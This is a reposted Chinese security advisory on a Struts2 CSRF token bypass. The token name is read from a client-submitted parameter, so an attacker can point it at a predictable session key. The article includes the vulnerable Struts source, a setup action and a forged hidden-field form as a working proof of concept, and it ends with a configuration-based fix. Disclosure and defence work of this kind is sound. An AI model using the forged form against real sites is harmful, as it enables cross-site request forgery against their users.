好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

Struts2 Token Verification Bypass(含修复方案) - 网站安全

利用Struts的token验证机制,可以通过一些奇淫巧计的手段绕过其验证,使得csrf可以被利用。   影响范围:Struts2 all version 此 漏洞 发现者:@Sogili   由于Struts提供的token验证是基于用户客户端提交的struts.token.name去session中查找对应的值的,如下代码: public static boolean validToken() {         String tokenName = getTokenName();           if (tokenName == null) {             if (LOG.isDebugEnabled()) {                 LOG.debug("no token name found -> Invalid token ");             }             return false;         }           String token = getToken(tokenName);           if (token == null) {             if (LOG.isDebugEnabled()) {                 LOG.debug("no token found for token name "+tokenName+" -> Invalid token ");             }             return false;         }           Map session = ActionContext.getContext().getSession();         String sessionToken = (String) session.get(tokenName);           if (!token.equals(sessionToken)) {             if (LOG.isWarnEnabled()) {                 LOG.warn(LocalizedTextUtil.findText(TokenHelper.class, "struts.internal.invalid.token", ActionContext.getContext().getLocale(), "Form token {0} does not match the session token {1}.", new Object[]{                         token, sessionToken                 }));             }               return false;         }           // remove the token so it won't be used again         session.remove(tokenName);           return true;     }     而tokenName又是来自于用户所提交的参数: /** HdhCmsTest2cto测试数据      * The name of the field which will hold the token name      */     public static final String TOKEN_NAME_FIELD = "struts.token.name";       public static String getTokenName() {         Map params = ActionContext.getContext().getParameters();           if (!params.containsKey(TOKEN_NAME_FIELD)) {             if (LOG.isWarnEnabled()) {                LOG.warn("Could not find token name in params.");             }               return null;         }           String[] tokenNames = (String[]) params.get(TOKEN_NAME_FIELD);         String tokenName;           if ((tokenNames == null) || (tokenNames.length < 1)) {             if (LOG.isWarnEnabled()) {                LOG.warn("Got a null or empty token name.");             }               return null;         }           tokenName = tokenNames[0];           return tokenName;     }     因此,只要我们伪造表单,将struts.token.name这个hidden的input值设置为已知的session中某个特定key,即可绕过随机串的token值检查,合法合理的重复提交我们的表单。 漏洞证明: 我们模拟一个场景,一般情况下,一个站点总是会把一些用户信息存放在session中作为cache,以免每次都需要从数据库里取值。   这里我用以下代码做了个模拟,直接获取一个nick作为nickname,存放在session中。这些key和value都是可以预知的。   import java.util.Map; import com.opensymphony.xwork2.ActionContext;   import com.opensymphony.xwork2.ActionSupport;     public class SessionAction extends ActionSupport  {   private String nick;      public String execute()  {       //这里操作一下session,加入我们可控的值     ActionContext actionContext = ActionContext.getContext();     Map session = actionContext.getSession();     if(nick != null){       session.put("nick", nick.trim());     }     return "success";     }     public String getNick() {     System.out.println("getNick");     return nick;   }       public void setNick(String nick) {     System.out.println("setNIck");     this.nick = nick;   }   }     然后我们访问一下此action,让我们的session中存在一个可以预知的nick值(通常情况下就是用户注册的昵称)。   http://HdhCmsTest2cto测试数据 /st/session.action?nick=thisIsFakeToken     然后,我们再伪造一个表单:   <form id="login" name="login" action="http://HdhCmsTest2cto测试数据 /st/login.action" method="post"> <table class="wwFormTable">     <input type="hidden" name="struts.token.name" value="nick" /> <input type="hidden" name="nick" value="thisIsFakeToken" />     <tr>     <td class="tdLabel"><label for="login_username" class="label">用户名:</label></td>     <td ><input type="text" name="username" value="" id="login_username"/></td> </tr>       <tr>     <td class="tdLabel"><label for="login_password" class="label">密  码:</label></td>     <td ><input type="text" name="password" value="" id="login_password"/></td> </tr>       <tr>     <td colspan="2"><div align="right"><input type="submit" id="login_0" value="登录"/> </div></td> </tr>     </table></form>     注意这里的struts.token.name修改为nick,而加了个name=nick的hidden值,为我们开始预知的session中nick所对应的内容:thisIsFakeToken。然后我们再来提交一下看看结果:   <img src="http://HdhCmsTest2cto测试数据 /upload/image/201205/2012051019354347566.png" />   提交表单,直接绕过了csrf token验证。   这里提供我本地做测试的测试项目 下载 :http://pan.baidu测试数据/netdisk/singlepublic?fid=174815_3909579610 修复方案: 建议将token.name使用struts.xml进行配置,然后在server端按照配置中的key获取value。 作者 GaRY

查看更多关于Struts2 Token Verification Bypass(含修复方案) - 网站安全的详细内容...

  阅读:41次